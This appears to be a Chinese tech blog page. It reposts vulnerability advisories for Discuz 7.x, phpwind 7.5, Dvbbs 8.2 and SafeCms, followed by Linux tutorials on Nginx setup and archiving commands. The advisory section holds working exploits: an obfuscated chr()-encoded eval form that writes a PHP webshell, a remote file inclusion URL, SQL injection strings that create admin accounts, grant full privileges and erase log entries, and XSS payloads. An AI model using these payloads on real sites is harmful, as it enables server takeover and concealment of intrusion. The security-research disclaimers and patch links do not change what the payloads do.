www.oldjun.com             }       }        } 
<*参考
T00ls.net
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
showmessage函数里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。    下面是HTML测试代码:    <form method="post" action="http://bbs.XXXX.com/misc.php" enctype="multipart/form-data">  帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="1" />  <input type="hidden" name="action" value="imme_binding" />  <input type="hidden" name="response[result]" value="1:2" />  <input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />  <input type="submit" name="topicsubmit" value="提交" class="submit" />  </form>    forumdata/cache/usergroup_01.php cmd 生成的一句话
SEBUG安全建议:
更新内容:    修复版本存在的重要安全问题    修复版本中存在的其他使用 bug    安全级别:     高    涉及版本:Discuz! 7.1 , Discuz! 7.2    修补方法:    1. 根据您的版本下载补丁包    7.1 用户 http://download2.comsenz.com/Discuz/patch/7.1/D710_UPGRADE_TO_20100110.zip  7.2 用户 http://download2.comsenz.com/Discuz/patch/7.2/D720_UPGRADE_TO_20100110.zip    2. 解压缩文件  3. 上传upload目录中的所有文件到您的论坛, 覆盖原有程序  4. 修复完成    注意事项:下目录中包含有相应版本的以往的补丁文件, 如果您尚未修复, 您应当按照补丁发布的时间, 依次覆盖修复  http://download2.comsenz.com/Discuz/patch/7.1/  http://download2.comsenz.com/Discuz/patch/7.2/ 
// sebug.net [2010-01-07]
 
我的QQ空间
SafeCms <= 2.0.1.0 Beta Cross Site Scripting
SSV ID:15203发布时间:2010-01-07测试方法:[www.sebug.net]本站...
 

phpwind 7.5论坛程序漏洞与0day

| | 0 评论 |

  提示:内容中所含EXP、攻击测试代码不可用于非法用途,仅供安全人士参考

漏洞说明:
程序basePath参数引发的文件包含漏洞
利用方法:
http://www.xxx.com/apps/groups/index.php?route=groups&basePath=shell地址
临时解决方法:
1.将basePath进行过滤
   如果过滤的代码包括:http,/,%
2.关闭apps引用模块
信息来源: http://www.tosec.cn/bug/7213.html
 
我的QQ空间
SafeCms <= 2.0.1.0 Beta Cross Site Scripting
SSV ID:15203发布时间:2010-01-07测试方法:[www.sebug.net]本站...
 

Dvbbs 8.2 SQL最新注入漏洞

| | 0 评论 |

影响版本:
Dvbbs 8.2
漏洞描述:
DVBBS是一款由WWW.ASPSKY.NET开发和维护的开放源码Asp论坛程序。
 
测试代码:
发帖子,标题为下面的sql语句,然后点评论。0为中立, 1为支持, 2为反对 都行。
这时sql语句被执行
库名:a','',1,'akai','2008-2-4','',2);update/**/dv_user/**/set/**/useremail=db_name()/**/where/**/username='akai'--
复制代码加前台和后台管理员:a','',1,'akai','2008-2-4','',2);update dv_user set UserGroupID=1 where username='akai';insert into dv_admin(Username,Password,Flag,Adduser)values('akai','965eb72c92a549dd',',4,','akai')--
复制代码进入后台,通过注入再获取全部权限:http://www.xxx.com/Admin/help.asp?action=view&id=1;update/**/dv_admin/**/set/**/flag='1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45'/**/where/**/username='akai'--
复制代码清理数据库记录(有三个表):http://www.xxx.com/Admin/help.asp?action=view&id=1;delete/**/from/**/dv_log/**/where/**/l_username='akai';delete/**/from/**/dv_topic/**/where/**/PostUsername='akai';delete/**/from/**/Dv_Appraise/**/where/**/UserName='akai'--
复制代码(因为是通过后台注入来执行delete语句,所以最后Dv_log还是有一条关于后台help.asp文件访问记录)
信息来源: http://www.tosec.cn/bug/7188.html
 
我的QQ空间
SafeCms <= 2.0.1.0 Beta Cross Site Scripting
SSV ID:15203发布时间:2010-01-07测试方法:[www.sebug.net]本站...
 

SafeCms <= 2.0.1.0 Beta Cross Site Scripting

| | 0 评论 |

SSV ID:15203
发布时间:2010-01-07
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
# Exploit Title: SafeCms <= 2.0.1.0 Beta Cross Site Scripting.  # Date: 22/12/2009  # Author: cp77fk4r | Empty0pagE[Shift+2]gmail.com  # Software Link: http://demo.safecms.co.il/  # Version: X <= 2.0.1.0 Beta  #  #[XSS]  http://[URL]/admin/sendpass.asp?q=%22%3E%3Cscript%3Ealert(1)%3C/script%3E  http://[URL]/admin/info.asp?q=%E0%22%3E%3Cscript%3Ealert(1)%3C/script%3E  #  #  #[E0F]
// sebug.net [2010-01-07]
 
我的QQ空间
Linux vps 安装Nginx 及其细节
说明:1. 安装lnmp  http://home.benz.la/2010/01/vpsl...
 

Linux vps 安装Nginx 及其细节

2010年1月22日星期五 | | 0 评论 |

说明:
1. 安装lnmp  http://home.benz.la/2010/01/vpslnmp-linuxnginxmysqlphpphpmyadmineac.html
2. 下载压缩的网站包,并解压。
cd /home/wwwroot
wget http://xxx.appspot.com/file/wwwroot.tar.gz
tar zxvf wwwroot.tar.gz
3.修改php-fpm.conf和nginx.conf
a) chmod o+w /usr/local/php/etc/php-fpm.conf
b) chmod o+w /usr/local/nginx/conf/nginx.conf
c)  vi /usr/local/php/etc/php-fpm.conf
       php-fpm.conf 502错误 <value name="max_children">45</value>
       <value name="request_terminate_timeout">900s</value>
d)  vi /usr/local/nginx/conf/nginx.conf
      nginx.conf错误页面:error_page  404              /index.php;
4.重启电脑 reboot ,并执行./run.sh
注意:/home/wwwroot/下logs目录不要删.

补充: /usr/local/php/etc/php-fpm.conf 中的memory_limit = 128M 改大点.
修改nginx.conf后重启nginx的命令 

kill -HUP `cat /usr/local/nginx/logs/nginx.pid`
 
我的QQ空间
Linux tar 打包 命令 详解
tar命令#tar [-cxtzjvfpPN] 文件与目录 ....参数:-c :建立一个...
 

Linux tar 打包 命令 详解

2010年1月21日星期四 | | 0 评论 |

tar命令
[[email protected] ~]# tar [-cxtzjvfpPN] 文件与目录 ....
参数:
-c :建立一个压缩文件的参数指令(create 的意思);
-x :解开一个压缩文件的参数指令!
-t :查看 tarfile 里面的文件!
特别注意,在参数的下达中, c/x/t 仅能存在一个!不可同时存在!
因为不可能同时压缩与解压缩。
-z :是否同时具有 gzip 的属性?亦即是否需要用 gzip 压缩?
-j :是否同时具有 bzip2 的属性?亦即是否需要用 bzip2 压缩?
-v :压缩的过程中显示文件!这个常用,但不建议用在背景执行过程!
-f :使用档名,请留意,在 f 之后要立即接档名喔!不要再加参数!
   例如使用『 tar -zcvfP tfile sfile』就是错误的写法,要写成
   『 tar -zcvPf tfile sfile』才对喔!
-p :使用原文件的原来属性(属性不会依据使用者而变)
-P :可以使用绝对路径来压缩!
-N :比后面接的日期(yyyy/mm/dd)还要新的才会被打包进新建的文件中!
--exclude FILE:在压缩的过程中,不要将 FILE 打包!
范例:

范例一:将整个 /etc 目录下的文件全部打包成为 /tmp/etc.tar
[[email protected] ~]# tar -cvf /tmp/etc.tar /etc <==仅打包,不压缩!
[[email protected] ~]# tar -zcvf /tmp/etc.tar.gz /etc <==打包后,以 gzip 压缩
[[email protected] ~]# tar -jcvf /tmp/etc.tar.bz2 /etc <==打包后,以 bzip2 压缩
# 特别注意,在参数 f 之后的文件档名是自己取的,我们习惯上都用 .tar 来作为辨识。
# 如果加 z 参数,则以 .tar.gz 或 .tgz 来代表 gzip 压缩过的 tar file ~
# 如果加 j 参数,则以 .tar.bz2 来作为附档名啊~
# 上述指令在执行的时候,会显示一个警告讯息:
# 『tar: Removing leading `/' from member names』那是关於绝对路径的特殊设定。

范例二:查阅上述 /tmp/etc.tar.gz 文件内有哪些文件?
[[email protected] ~]# tar -ztvf /tmp/etc.tar.gz
# 由於我们使用 gzip 压缩,所以要查阅该 tar file 内的文件时,
# 就得要加上 z 这个参数了!这很重要的!

范例三:将 /tmp/etc.tar.gz 文件解压缩在 /usr/local/src 底下
[[email protected] ~]# cd /usr/local/src
[[email protected] src]# tar -zxvf /tmp/etc.tar.gz
# 在预设的情况下,我们可以将压缩档在任何地方解开的!以这个范例来说,
# 我先将工作目录变换到 /usr/local/src 底下,并且解开 /tmp/etc.tar.gz ,
# 则解开的目录会在 /usr/local/src/etc 呢!另外,如果您进入 /usr/local/src/etc
# 则会发现,该目录下的文件属性与 /etc/ 可能会有所不同喔!

范例四:在 /tmp 底下,我只想要将 /tmp/etc.tar.gz 内的 etc/passwd 解开而已
[[email protected] ~]# cd /tmp
[[email protected] tmp]# tar -zxvf /tmp/etc.tar.gz etc/passwd
# 我可以透过 tar -ztvf 来查阅 tarfile 内的文件名称,如果单只要一个文件,
# 就可以透过这个方式来下达!注意到! etc.tar.gz 内的根目录 / 是被拿掉了!

范例五:将 /etc/ 内的所有文件备份下来,并且保存其权限!
[[email protected] ~]# tar -zxvpf /tmp/etc.tar.gz /etc
# 这个 -p 的属性是很重要的,尤其是当您要保留原本文件的属性时!

范例六:在 /home 当中,比 2005/06/01 新的文件才备份
[[email protected] ~]# tar -N '2005/06/01' -zcvf home.tar.gz /home

范例七:我要备份 /home, /etc ,但不要 /home/dmtsai
[[email protected] ~]# tar --exclude /home/dmtsai -zcvf myfile.tar.gz /home/* /etc

范例八:将 /etc/ 打包后直接解开在 /tmp 底下,而不产生文件!
[[email protected] ~]# cd /tmp
[[email protected] tmp]# tar -cvf - /etc | tar -xvf -
# 这个动作有点像是 cp -r /etc /tmp 啦~依旧是有其有用途的!
# 要注意的地方在於输出档变成 - 而输入档也变成 - ,又有一个 | 存在~
# 这分别代表 standard output, standard input 与管线命令啦!
# 这部分我们会在 Bash shell 时,再次提到这个指令跟大家再解释啰!

gzip, zcat 命令
[[email protected] ~]# gzip [-cdt#] 档名
[[email protected] ~]# zcat 档名.gz
参数:
-c :将压缩的资料输出到萤幕上,可透过资料流重导向来处理;
-d :解压缩的参数;
-t :可以用来检验一个压缩档的一致性~看看文件有无错误;
-# :压缩等级,-1 最快,但是压缩比最差、-9 最慢,但是压缩比最好!预设是 -6 ~
范例:

范例一:将 /etc/man.config 複制到 /tmp ,并且以 gzip 压缩
[[email protected] ~]# cd /tmp
[[email protected] tmp]# cp /etc/man.config .
[[email protected] tmp]# gzip man.config
# 此时 man.config 会变成 man.config.gz !

范例二:将范例一的文件内容读出来!
[[email protected] tmp]# zcat man.config.gz
# 此时萤幕上会显示 man.config.gz 解压缩之后的文件内容!!

范例三:将范例一的文件解压缩
[[email protected] tmp]# gzip -d man.config.gz

范例四:将范例三解开的 man.config 用最佳的压缩比压缩,并保留原本的文件
[[email protected] tmp]# gzip -9 -c man.config > man.config.gz

bzip2, bzcat 命令
[[email protected] ~]# bzip2 [-cdz] 档名
[[email protected] ~]# bzcat 档名.bz2
参数:
-c :将压缩的过程产生的资料输出到萤幕上!
-d :解压缩的参数
-z :压缩的参数
-# :与 gzip 同样的,都是在计算压缩比的参数, -9 最佳, -1 最快!
范例:

范例一:将刚刚的 /tmp/man.config 以 bzip2 压缩
[[email protected] tmp]# bzip2 -z man.config
# 此时 man.config 会变成 man.config.bz2 !

范例二:将范例一的文件内容读出来!
[[email protected] tmp]# bzcat man.config.bz2
# 此时萤幕上会显示 man.config.bz2 解压缩之后的文件内容!!

范例三:将范例一的文件解压缩
[[email protected] tmp]# bzip2 -d man.config.bz2

范例四:将范例三解开的 man.config 用最佳的压缩比压缩,并保留原本的文件
[[email protected] tmp]# bzip2 -9 -c man.config > man.config.bz2

compress 命令
[[email protected] ~]# compress [-dcr] 文件或目录
参数:
-d :用来解压缩的参数
-r :可以连同目录下的文件也同时给予压缩呢!
-c :将压缩资料输出成为 standard output (输出到萤幕)
范例:

范例一:将 /etc/man.config 複制到 /tmp ,并加以压缩
[[email protected] ~]# cd /tmp
[[email protected] tmp]# cp /etc/man.config .
[[email protected] tmp]# compress man.config
[[email protected] tmp]# ls -l
-rw-r--r-- 1 root root 2605 Jul 27 11:43 man.config.Z

范例二:将刚刚的压缩档解开
[[email protected] tmp]# compress -d man.config.Z

范例三:将 man.config 压缩成另外一个文件来备份
[[email protected] tmp]# compress -c man.config > man.config.back.Z
[[email protected] tmp]# ll man.config*
-rw-r--r-- 1 root root 4506 Jul 27 11:43 man.config
-rw-r--r-- 1 root root 2605 Jul 27 11:46 man.config.back.Z
# 这个 -c 的参数比较有趣!他会将压缩过程的资料输出到萤幕上,而不是写入成为
# file.Z 文件。所以,我们可以透过资料流重导向的方法将资料输出成为另一个档名。
# 关於资料流重导向,我们会在 bash shell 当中详细谈论的啦!

dd 命令
[[email protected] ~]# dd if="input_file" of="outptu_file" bs="block_size" \
count="number"

参数:
if :就是 input file 啰~也可以是装置喔!
of :就是 output file 喔~也可以是装置;
bs :规划的一个 block 的大小,如果没有设定时,预设是 512 bytes
count:多少个 bs 的意思。
范例:

范例一:将 /etc/passwd 备份到 /tmp/passwd.back 当中
[[email protected] ~]# dd if=/etc/passwd of=/tmp/passwd.back
3+1 records in
3+1 records out
[[email protected] ~]# ll /etc/passwd /tmp/passwd.back
-rw-r--r-- 1 root root 1746 Aug 25 14:16 /etc/passwd
-rw-r--r-- 1 root root 1746 Aug 29 16:57 /tmp/passwd.back
# 仔细的看一下,我的 /etc/passwd 文件大小为 1746 bytes,因为我没有设定 bs ,
# 所以预设是 512 bytes 为一个单位,因此,上面那个 3+1 表示有 3 个完整的
# 512 bytes,以及未满 512 bytes 的另一个 block 的意思啦!
# 事实上,感觉好像是 cp 这个指令啦~

范例二:备份 /dev/hda 的 MBR
[[email protected] ~]# dd if=/dev/hda of=/tmp/mbr.back bs=512 count=1
1+0 records in
1+0 records out
# 这就得好好瞭解一下啰~我们知道整颗硬盘的 MBR 为 512 bytes,
# 就是放在硬盘的第一个 sector 啦,因此,我可以利用这个方式来将
# MBR 内的所有资料都纪录下来,真的很厉害吧! ^_^

范例三:将整个 /dev/hda1 partition 备份下来。
[[email protected] ~]# dd if=/dev/hda1 of=/some/path/filenaem
# 这个指令很厉害啊!将整个 partition 的内容全部备份下来~
# 后面接的 of 必须要不是在 /dev/hda1 的目录内啊~否则,怎么读也读不完~
# 这个动作是很有效用的,如果改天你必须要完整的将整个 partition 的内容填回去,
# 则可以利用 dd if=/some/file of=/dev/hda1 来将资料写入到硬盘当中。
# 如果想要整个硬盘备份的话,就类似 Norton 的 ghost 软体一般,
# 由 disk 到 disk ,嘿嘿~利用 dd 就可以啦~厉害厉害!

cpio 命令
[[email protected] ~]# cpio -covB > [file|device] <==备份
[[email protected] ~]# cpio -icduv < [file|device] <==还原
参数:
-o :将资料 copy 输出到文件或装置上
-i :将资料自文件或装置 copy 出来系统当中
-t :查看 cpio 建立的文件或装置的内容
-c :一种较新的 portable format 方式储存
-v :让储存的过程中文件名称可以在萤幕上显示
-B :让预设的 Blocks 可以增加至 5120 bytes ,预设是 512 bytes !
   这样的好处是可以让大文件的储存速度加快(请参考 i-nodes 的观念)
-d :自动建立目录!由於 cpio 的内容可能不是在同一个目录内,
如此的话在反备份的过程会有问题! 这个时候加上 -d 的话,
就可以自动的将需要的目录建立起来了!
-u :自动的将较新的文件覆盖较旧的文件!
范例:

范例一:将所有系统上的资料通通写入磁带机内!
[[email protected] ~]# find / -print | cpio -covB > /dev/st0
# 一般来说,使用 SCSI 介面的磁带机,代号是 /dev/st0 喔!

范例二:检查磁带机上面有什么文件?
[[email protected] ~]# cpio -icdvt < /dev/st0
[[email protected] ~]# cpio -icdvt < /dev/st0 > /tmp/content
# 第一个动作当中,会将磁带机内的档名列出到萤幕上面,而我们可以透过第二个动作,
# 将所有的档名通通纪录到 /tmp/content 文件去!

范例三:将磁带上的资料还原回来~
[[email protected] ~]# cpio -icduv < /dev/st0
# 一般来说,使用 SCSI 介面的磁带机,代号是 /dev/st0 喔!

范例四:将 /etc 底下的所有『文件』都备份到 /root/etc.cpio 中!
[[email protected] ~]# find /etc -type f | cpio -o > /root/etc.cpio
# 这样就能够备份啰~您也可以将资料以 cpio -i < /root/etc.cpio
# 来将资料捉出来!!!!

 
我的QQ空间
Linux下的tar命令打包&解压示例及详解
一: linux下的tar打包命令示例及详解鸟哥的私房菜有更详细的打包...
 


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]